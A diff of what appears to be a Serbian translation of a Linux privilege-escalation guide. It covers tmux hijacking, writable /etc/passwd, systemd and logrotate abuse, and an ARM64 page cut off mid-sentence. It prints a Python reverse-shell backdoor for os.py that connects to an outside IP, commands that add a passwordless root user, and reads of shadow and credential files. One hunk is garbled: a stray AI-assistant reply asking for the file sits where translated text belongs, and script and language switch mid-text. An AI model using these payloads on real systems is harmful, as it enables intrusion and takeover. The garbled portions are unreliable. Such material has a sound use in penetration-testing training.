3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## Otmica tmux sesija -Ovo je bio problem sa **starim tmux verzijama**. Nisam uspeo da hijack tmux (v2.1) sesiju kreiranu od strane root-a kao non-privileged user. +Ovo je bio problem sa **starim verzijama tmux-a**. Nisam mogao da otmem tmux (v2.1) sesiju koju je kreirao root kao neprivilegovan korisnik. -**Lista tmux sesija** +**Prikaži tmux sesije** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1118,7 +1119,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Prikači se na sesiju** +**Priključi se na session** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1134,120 +1135,131 @@ Check **Valentine box from HTB** za primer. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Svi SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim buggom.\ -Ovaj bug nastaje pri kreiranju novog ssh ključa na tim OS-ovima, jer je bilo moguće samo **32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **posedovanjem ssh public key možete potražiti odgovarajući private key**. Možete pronaći izračunate mogućnosti ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Svi SSL i SSH ključevi generisani na sistemima zasnovanim na Debianu (Ubuntu, Kubuntu, itd.) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovom ranjivošću.\ +Ova greška nastaje prilikom kreiranja novog ssh ključa na tim OS-ovima, jer je **bilo moguće samo 32.768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **posedujući ssh public key možete potražiti odgovarajući private key**. Izračunate mogućnosti možete naći ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication:** Specificira da li je password authentication dozvoljen. Podrazumevano je `no`. +- **PubkeyAuthentication:** Specificira da li je public key authentication dozvoljen. Podrazumevano je `yes`. +- **PermitEmptyPasswords**: Kada je password authentication dozvoljen, specificira da li server dozvoljava prijavu na naloge sa praznim password stringovima. Podrazumevano je `no`. ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +Specificira da li root može da se prijavi koristeći ssh, podrazumevano je `no`. Moguće vrednosti: - `yes`: root može da se prijavi koristeći password i private key -- `without-password` or `prohibit-password`: root može da se prijavi samo pomoću private key -- `forced-commands-only`: root se može prijaviti samo koristeći private key i samo ako su opcije za commands specificirane +- `without-password` or `prohibit-password`: root se može prijaviti samo pomoću private key +- `forced-commands-only`: root se može prijaviti samo koristeći private key i ako su opcije commands specificirane - `no` : ne ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: +Specificira fajlove koji sadrže public keys koji se mogu koristiti za user authentication. Može sadržati tokene poput `%h`, koji će biti zamenjen home direktorijumom. **Možete navesti apsolutne putanje** (koje počinju sa `/`) ili **relativne putanje od korisnikovog home-a**. Na primer: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ta konfiguracija će označiti da, ako pokušate da se prijavite koristeći **private** key korisnika "**testusername**", ssh će uporediti public key vašeg key-a sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` +Ta konfiguracija označava da, ako pokušate da se prijavite sa **private** key korisnika "**testusername**", ssh će uporediti public key vašeg ključa sa onima koji se nalaze u `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding vam omogućava da **use your local SSH keys instead of leaving keys** (without passphrases!) koji stoje na vašem serveru. Dakle, moći ćete da **jump** via ssh **to a host** i odatle **jump to another** host **using** the **key** located in your **initial host**. +SSH agent forwarding vam omogućava da **use your local SSH keys instead of leaving keys** (without passphrases!) na vašem serveru. Dakle, moći ćete da **jump** putem ssh **to a host** i odatle **jump to another** host **using** the **key** koji se nalazi na vašem **initial host**. Treba da podesite ovu opciju u `$HOME/.ssh.config` ovako: ``` Host example.com ForwardAgent yes ``` -Obratite pažnju da ako je `Host` `*`, svaki put kada korisnik pređe na drugu mašinu, taj host će moći da pristupi ključevima (što predstavlja bezbednosni problem). +Obratite pažnju da ako je `Host` postavljen na `*`, svaki put kada korisnik pređe na drugu mašinu, ta mašina će moći da pristupi ključevima (što predstavlja bezbednosni problem). -Fajl `/etc/ssh_config` može **nadjačati** ove **opcije** i dozvoliti ili odbiti ovu konfiguraciju.\ -Fajl `/etc/sshd_config` može **dozvoliti** ili **zabraniti** ssh-agent forwarding pomoću ključne reči `AllowAgentForwarding` (podrazumevano je dozvoljeno). +Fajl `/etc/ssh_config` može **prepisati** ove **opcije** i dozvoliti ili zabraniti ovu konfiguraciju.\ +Fajl `/etc/sshd_config` može **dozvoliti** ili **zabraniti** ssh-agent forwarding pomoću ključne reči `AllowAgentForwarding` (default is allow). -Ako otkrijete da je Forward Agent konfigurisan u okruženju, pročitajte sledeću stranicu jer **možda ćete moći da ga zloupotrebite za escalate privileges**: +Ako otkrijete da je Forward Agent konfiguran u okruženju, pročitajte sledeću stranicu, jer **možda ćete moći da iskoristite to za eskalaciju privilegija**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Zanimljivi fajlovi +## Zanimljive datoteke ### Datoteke profila -Fajl `/etc/profile` i fajlovi pod `/etc/profile.d/` su **skripte koje se izvršavaju kada korisnik pokrene novu shell**. Dakle, ako možete **pisati ili izmeniti bilo koji od njih možete escalate privileges**. +Fajl `/etc/profile` i fajlovi pod `/etc/profile.d/` su **skripte koje se izvršavaju kada korisnik pokrene novi shell**. Dakle, ako možete **upisati ili izmeniti bilo koji od njih, možete eskalirati privilegije**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Ako se pronađe neki čudan profile script, treba ga proveriti zbog **osetljivih detalja**. +Ako se pronađe neka sumnjiva skripta profila, trebalo bi je proveriti zbog **osetljivih detalja**. ### Passwd/Shadow Files -U zavisnosti od OS-a, fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugo ime ili može postojati backup. Zato se preporučuje da **pronađete sve** i **proverite da li ih možete pročitati** kako biste videli **da li se u fajlovima nalaze hashes**: +U zavisnosti od OS-a fajlovi `/etc/passwd` i `/etc/shadow` mogu imati drugačije ime ili može postojati rezervna kopija. Zato se preporučuje **pronaći ih sve** i **proveriti da li ih možete pročitati** kako biste videli **da li se u fajlovima nalaze hashes**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Ponekad možete pronaći **password hashes** u fajlu `/etc/passwd` (ili ekvivalentnom) +Ponekad možete pronaći **password hashes** u fajlu `/etc/passwd` (ili ekvivalentnom). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Upisiv /etc/passwd -Prvo, generišite password koristeći jednu od sledećih komandi. +Prvo generišite lozinku pomoću jedne od sledećih komandi. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Zatim dodajte korisnika `hacker` i unesite generisanu lozinku. +Molim pošaljite sadržaj fajla src/linux-hardening/privilege-escalation/README.md koji treba da prevedem. + +Takođe pojasnite šta tačno želite u vezi sa korisnikom: +- Da li želite da u prevedeni README ubacim napomenu/komandu koja dodaje korisnika hacker i generisanu lozinku? +- Ili želite da vam samo dam tačne komande koje treba da pokrenete na svom sistemu (ne mogu da ih izvršim umesto vas)? + +Ako želite, odmah mogu da generišem sigurnu lozinku (npr. 16 karaktera) i vratim je zajedno sa komandama, npr.: +sudo useradd -m -s /bin/bash hacker +echo 'hacker:' | sudo chpasswd +sudo usermod -aG sudo hacker (opciono) + +Recite koju opciju želite i pošaljite sadržaj fajla. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Na primer: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Sada možete koristiti komandu `su` sa `hacker:hacker` +Sada možete da koristite komandu `su` sa `hacker:hacker` -Alternativno, možete koristiti sledeće linije da dodate lažnog korisnika bez lozinke.\ -UPOZORENJE: ovo može smanjiti trenutnu bezbednost mašine. +Alternativno, možete da koristite sledeće linije da dodate lažnog korisnika bez lozinke.\ +UPOZORENJE: možete narušiti trenutnu bezbednost mašine. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi u `/etc/pwd.db` i `/etc/master.passwd`, takođe `/etc/shadow` je preimenovan u `/etc/spwd.db`. +NAPOMENA: Na BSD platformama `/etc/passwd` se nalazi na `/etc/pwd.db` i `/etc/master.passwd`, takođe `/etc/shadow` je preimenovan u `/etc/spwd.db`. -Trebalo bi da proverite da li možete da **pišete u neke osetljive fajlove**. Na primer, možete li da pišete u neki **konfiguracioni fajl servisa**? +Treba da proverite da li možete **pisati u neke osetljive fajlove**. Na primer, da li možete pisati u neki **servisni konfiguracioni fajl**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Na пример, ако машина покреће **tomcat** сервер и можете **изменити конфигурациони фајл Tomcat сервиса унутар /etc/systemd/,** онда можете изменити следеће линије: +Na пример, ако машина покреће **tomcat** server и можете **изменити Tomcat service configuration file inside /etc/systemd/,** онда можете изменити линије: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Vaš backdoor će biti izvršen sledeći put kada se tomcat pokrene. +Vaš backdoor biće izvršen sledeći put kada se tomcat pokrene. ### Proverite foldere -Sledeći folderi mogu sadržati rezervne kopije ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) +Sledeći folderi mogu sadržati backups ili zanimljive informacije: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Verovatno nećete moći da pročitate poslednji, ali pokušajte) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Neobična lokacija/Owned files +### Čudne lokacije/Owned fajlovi ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1264,7 +1276,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Izmenjene datoteke u poslednjih nekoliko minuta +### Датотеке измењене у последњих неколико минута ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` @@ -1272,7 +1284,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml datoteke +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fajlovi ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1280,12 +1292,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Binari u PATH** +### **Script/Binaries u PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Veb fajlovi** +### **Web fajlovi** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1296,20 +1308,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Poznati fajlovi koji sadrže lozinke +### Poznate datoteke koje sadrže lozinke -Pročitaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **nekoliko fajlova koji bi mogli sadržati lozinke**.\ -**Još jedan interesantan alat** koji možeš koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda koja služi za izdvajanje velikog broja lozinki sačuvanih na lokalnom računaru za Windows, Linux & Mac. +Pročitajte kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), on pretražuje **više mogućih datoteka koje bi mogle sadržavati lozinke**.\ +**Još jedan interesantan alat** koji možete koristiti za to je: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) koji je aplikacija otvorenog koda koja se koristi za izdvajanje velikog broja lozinki sa lokalnog računara za Windows, Linux & Mac. ### Logovi -Ako možeš čitati logove, možda ćeš moći pronaći **interesantne/poverljive informacije u njima**. Što je log čudniji, to će verovatno biti zanimljiviji.\ -Takođe, neki **loše** konfigurisani (kompromitovani?) **audit logovi** mogu ti omogućiti da **zabeležiš lozinke** unutar audit logova kao što je objašnjeno u ovoj objavi: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ako možete čitati logove, možda ćete moći pronaći **zanimljive/poverljive informacije u njima**. Što je log čudniji, to će verovatno biti zanimljiviji.\ +Takođe, neke "**bad**" konfigurisane (backdoored?) **audit logs** mogu vam omogućiti da **zabeležite lozinke** unutar audit logova, kao što je objašnjeno u ovom postu: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Da biste **čitali logove, grupa** [**adm**](interesting-groups-linux-pe/index.html#adm-group) će biti od velike pomoći. +Da biste čitali logove, grupa [**adm**](interesting-groups-linux-pe/index.html#adm-group) biće zaista korisna. ### Shell fajlovi ```bash @@ -1324,41 +1336,41 @@ Da biste **čitali logove, grupa** [**adm**](interesting-groups-linux-pe/index.h ``` ### Generic Creds Search/Regex -Takođe treba da proverite fajlove koji sadrže reč "**password**" u svom **ime** ili unutar **sadržaja**, i takođe proverite IPs i emails u logovima, ili hashes regexps.\ -Neću ovde navoditi kako se sve to radi, ali ako vas zanima možete pogledati poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvodi. +Treba takođe da proverite datoteke koje u svom **imenu** ili u **sadržaju** sadrže reč "**password**", kao i da tražite IPs i emails u logs, ili hashes regexps.\ +Neću ovde nabrajati kako se sve to radi, ali ako vas zanima možete proveriti poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvršava. -## Upisivi fajlovi +## Datoteke dostupne za pisanje ### Python library hijacking -Ako znate **odakle** će se izvršavati python skripta i **možete pisati unutar** tog foldera ili možete **modify python libraries**, možete izmeniti OS library i backdoor it (ako možete pisati tamo gde će se izvršavati python skripta, kopirajte i nalepite os.py library). +Ako znate **odakle** će se python script izvršavati i možete **pisati u** taj folder ili možete **izmeniti python libraries**, možete izmeniti OS library i backdoor it (ako možete pisati tamo gde će se python script izvršavati, kopirajte i nalepite os.py library). -Da biste **backdoor the library** jednostavno dodajte na kraju os.py library sledeću liniju (promenite IP and PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate eksploatacija -Ranjivost u `logrotate` omogućava korisnicima sa **dozvolama pisanja** na log fajl ili njegovim roditeljskim direktorijumima da potencijalno dobiju povišene privilegije. Razlog je što se `logrotate`, često pokretana kao **root**, može manipulirati da izvrši proizvoljne fajlove, posebno u direktorijumima kao što su _**/etc/bash_completion.d/**_. Važno je proveriti dozvole ne samo u _/var/log_ nego i u bilo kom direktorijumu gde se primenjuje rotacija logova. +Ranjivost u `logrotate` omogućava korisnicima sa **write permissions** na log fajl ili njegovim nadređenim direktorijumima da potencijalno dobiju povišene privilegije. To je zato što `logrotate`, često pokrenut kao **root**, može biti manipulisano da izvrši proizvoljne fajlove, posebno u direktorijumima poput _**/etc/bash_completion.d/**_. Važno je proveriti permisije ne samo u _/var/log_ nego i u bilo kom direktorijumu gde se primenjuje rotacija logova. > [!TIP] -> Ova ranjivost pogađa `logrotate` verzije `3.18.0` i starije +> Ova ranjivost utiče na `logrotate` verziju `3.18.0` i starije -Detaljnije informacije o ranjivosti mogu se pronaći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Detaljnije informacije o ranjivosti mogu se naći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Ovu ranjivost možete iskoristiti pomoću [**logrotten**](https://github.com/whotwagner/logrotten). -Ova ranjivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** pa kad god otkrijete da možete izmeniti logove, proverite ko ih upravlja i proverite da li možete eskalirati privilegije zamenom logova symlinks-ovima. +Ova ranjivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** tako da kad god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete da eskalirate privilegije zamenom logova simboličkim linkovima. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Ako, iz bilo kog razloga, korisnik može da **zapiše** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **ili** može da **izmeni** postojeću, onda je vaš **system is pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network skripte, npr. _ifcfg-eth0_, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, one su \~sourced\~ na Linuxu od strane Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -U mom slučaju, atribut `NAME=` u ovim mrežnim skriptama se ne obrađuje ispravno. Ako u imenu imate **prazan razmak, sistem pokušava da izvrši deo posle praznog razmaka**. To znači da se **sve što je posle prvog razmaka izvršava kao root**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1366,17 +1378,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Napomena: prazno mesto između Network i /bin/id_) +(_Napomena: prazan razmak između Network i /bin/id_) ### **init, init.d, systemd, and rc.d** -Direktorijum `/etc/init.d` sadrži **skripte** za System V init (SysVinit), **klasični Linux sistem za upravljanje servisima**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servise. One se mogu izvršavati direktno ili kroz simboličke linkove koji se nalaze u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. +Direktorijum `/etc/init.d` je dom **skripti** za System V init (SysVinit), **klasičan Linux sistem za upravljanje servisima**. Sadrži skripte za `start`, `stop`, `restart` i ponekad `reload` servisa. One se mogu izvršiti direktno ili preko simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. -S druge strane, `/etc/init` je povezan sa **Upstart**, novijim sistemom za upravljanje servisima koji je uveo Ubuntu, i koristi konfiguracione fajlove za zadatke upravljanja servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog kompatibilnosti ugrađene u Upstart. +Sa druge strane, `/etc/init` je vezano za **Upstart**, noviji **sistem za upravljanje servisima** koji je predstavio Ubuntu i koji koristi konfiguracione fajlove za upravljanje servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u. -**systemd** se pojavljuje kao moderan init i menadžer servisa, nudeći napredne funkcije kao što su pokretanje daemona na zahtev, upravljanje automount-ovima i snapshot-ovi stanja sistema. Organizuje fajlove u `/usr/lib/systemd/` za pakete distribucije i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema. +**systemd** predstavlja moderan init i menadžer servisa, nudeći napredne funkcije kao što su pokretanje demona po potrebi, upravljanje automount-ovima i snimanje stanja sistema. Organizira fajlove u `/usr/lib/systemd/` za pakete distribucije i `/etc/systemd/system/` za izmene od strane administratora, pojednostavljujući administraciju sistema. -## Other Tricks +## Ostali trikovi ### NFS Privilege escalation @@ -1401,7 +1413,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks često hook-uju syscall da bi izložili privilegovanu kernel funkcionalnost userspace manageru. Slaba autentifikacija managera (npr. provere potpisa zasnovane na FD-order ili loše password sheme) može omogućiti lokalnoj aplikaciji da se prerušava u managera i eskalira do root na uređajima koji su već root-ovani. Saznajte više i detalje eksploatacije ovde: +Android rooting frameworks često hookuju syscall da izlože privilegovanu kernel funkcionalnost userspace manageru. Slaba autentifikacija managera (npr. provere potpisa zasnovane na FD-order ili loši password schemes) može omogućiti lokalnoj aplikaciji da se predstavi kao manager i eskalira privilegije do root na već-rootovanim uređajima. Saznajte više i detalje eksploatacije ovde: {{#ref}} @@ -1413,13 +1425,13 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Više pomoći [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Najbolji alat za pronalaženje Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1432,7 +1444,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Reference - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 01c1c3476..ca78074f1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -1,257 +1,260 @@ -# Увод у ARM64v8 +# Uvod u ARM64v8 {{#include ../../../banners/hacktricks-training.md}} -## **Нивои Изузећа - EL (ARM64v8)** +## **Nivoi izuzetaka - EL (ARM64v8)** -У ARMv8 архитектури, нивои изузећа, познати као Нивои Изузећа (EL), дефинишу ниво привилегија и способности извршног окружења. Постоје четири нивоа изузећа, од EL0 до EL3, од којих сваки служи различитој сврси: +U ARMv8 arhitekturi, nivoi izvršavanja, poznati kao Exception Levels (EL), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, od kojih svaki ima različitu namenu: -1. **EL0 - Режим корисника**: -- Ово је најмање привилегован ниво и користи се за извршавање редовног кода апликација. -- Апликације које раде на EL0 су изоловане једна од друге и од системског софтвера, што побољшава безбедност и стабилност. -2. **EL1 - Режим језгра оперативног система**: -- Већина језгара оперативних система ради на овом нивоу. -- EL1 има више привилегија од EL0 и може приступити системским ресурсима, али уз нека ограничења ради очувања интегритета система. -3. **EL2 - Режим хипервизора**: -- Овај ниво се користи за виртуализацију. Хипервизор који ради на EL2 може управљати више оперативних система (сваки у свом EL1) који раде на истом физичком хардверу. -- EL2 пружа функције за изолацију и контролу виртуализованих окружења. -4. **EL3 - Режим сигурног монитора**: -- Ово је најпривилегованији ниво и често се користи за сигурно покретање и окружења за поверење у извршавање. -- EL3 може управљати и контролисати приступе између сигурних и несигурних стања (као што су сигурно покретање, поверење у ОС, итд.). +1. **EL0 - User Mode**: +- Najmanje privilegovani nivo i koristi se za izvršavanje običnog aplikativnog koda. +- Aplikacije koje rade na EL0 su izolovane jedna od druge i od sistemskog softvera, što povećava sigurnost i stabilnost. +2. **EL1 - Operating System Kernel Mode**: +- Većina operativnih sistema kernela radi na ovom nivou. +- EL1 ima više privilegija nego EL0 i može pristupiti sistemskim resursima, ali uz neka ograničenja radi očuvanja integriteta sistema. +3. **EL2 - Hypervisor Mode**: +- Ovaj nivo se koristi za virtualizaciju. Hipervizor koji radi na EL2 može upravljati više operativnih sistema (svaki u svom EL1) na istom fizičkom hardveru. +- EL2 obezbeđuje funkcije za izolaciju i kontrolu virtualizovanih okruženja. +4. **EL3 - Secure Monitor Mode**: +- Najprivilegovaniji nivo, često korišćen za secure boot i trusted execution okruženja. +- EL3 može upravljati pristupima između secure i non-secure stanja (npr. secure boot, trusted OS, itd.). -Користење ових нивоа омогућава структурисан и сигуран начин управљања различитим аспектима система, од корисничких апликација до најпривилегованијег системског софтвера. Приступ ARMv8 нивима привилегија помаже у ефикасном изоловању различитих компоненти система, чиме се побољшава безбедност и робусност система. +Korišćenje ovih nivoa omogućava strukturiran i bezbedan način upravljanja različitim aspektima sistema, od korisničkih aplikacija do najprivilegovanijeg sistemskog softvera. ARMv8-ov pristup privilegijama pomaže u efikasnoj izolaciji komponenti sistema, čime se poboljšava sigurnost i stabilnost sistema. -## **Регистри (ARM64v8)** +## **Registri (ARM64v8)** -ARM64 има **31 регистар опште намене**, обележен `x0` до `x30`. Сваки може да чува **64-битну** (8-бајтну) вредност. За операције које захтевају само 32-битне вредности, исти регистри могу бити доступни у 32-битном режиму користећи имена w0 до w30. +ARM64 ima **31 registra opšte namene**, označenih `x0` kroz `x30`. Svaki može da skladišti **64-bitnu** (8-bajtnu) vrednost. Za operacije koje zahtevaju samo 32 bita, isti registri se mogu pristupiti u 32-bit modu koristeći imena `w0` kroz `w30`. -1. **`x0`** до **`x7`** - Ови се обично користе као регистри за привремене податке и за пренос параметара у подпрограме. -- **`x0`** такође носи повратне податке функције -2. **`x8`** - У Линукс језгру, `x8` се користи као број системског позива за `svc` инструкцију. **У macOS, x16 је тај који се користи!** -3. **`x9`** до **`x15`** - Више привремених регистара, често се користе за локалне променљиве. -4. **`x16`** и **`x17`** - **Регистри за позиве унутар процедура**. Привремени регистри за одмах вредности. Такође се користе за индиректне позиве функција и PLT (Табела повезивања процедура). -- **`x16`** се користи као **број системског 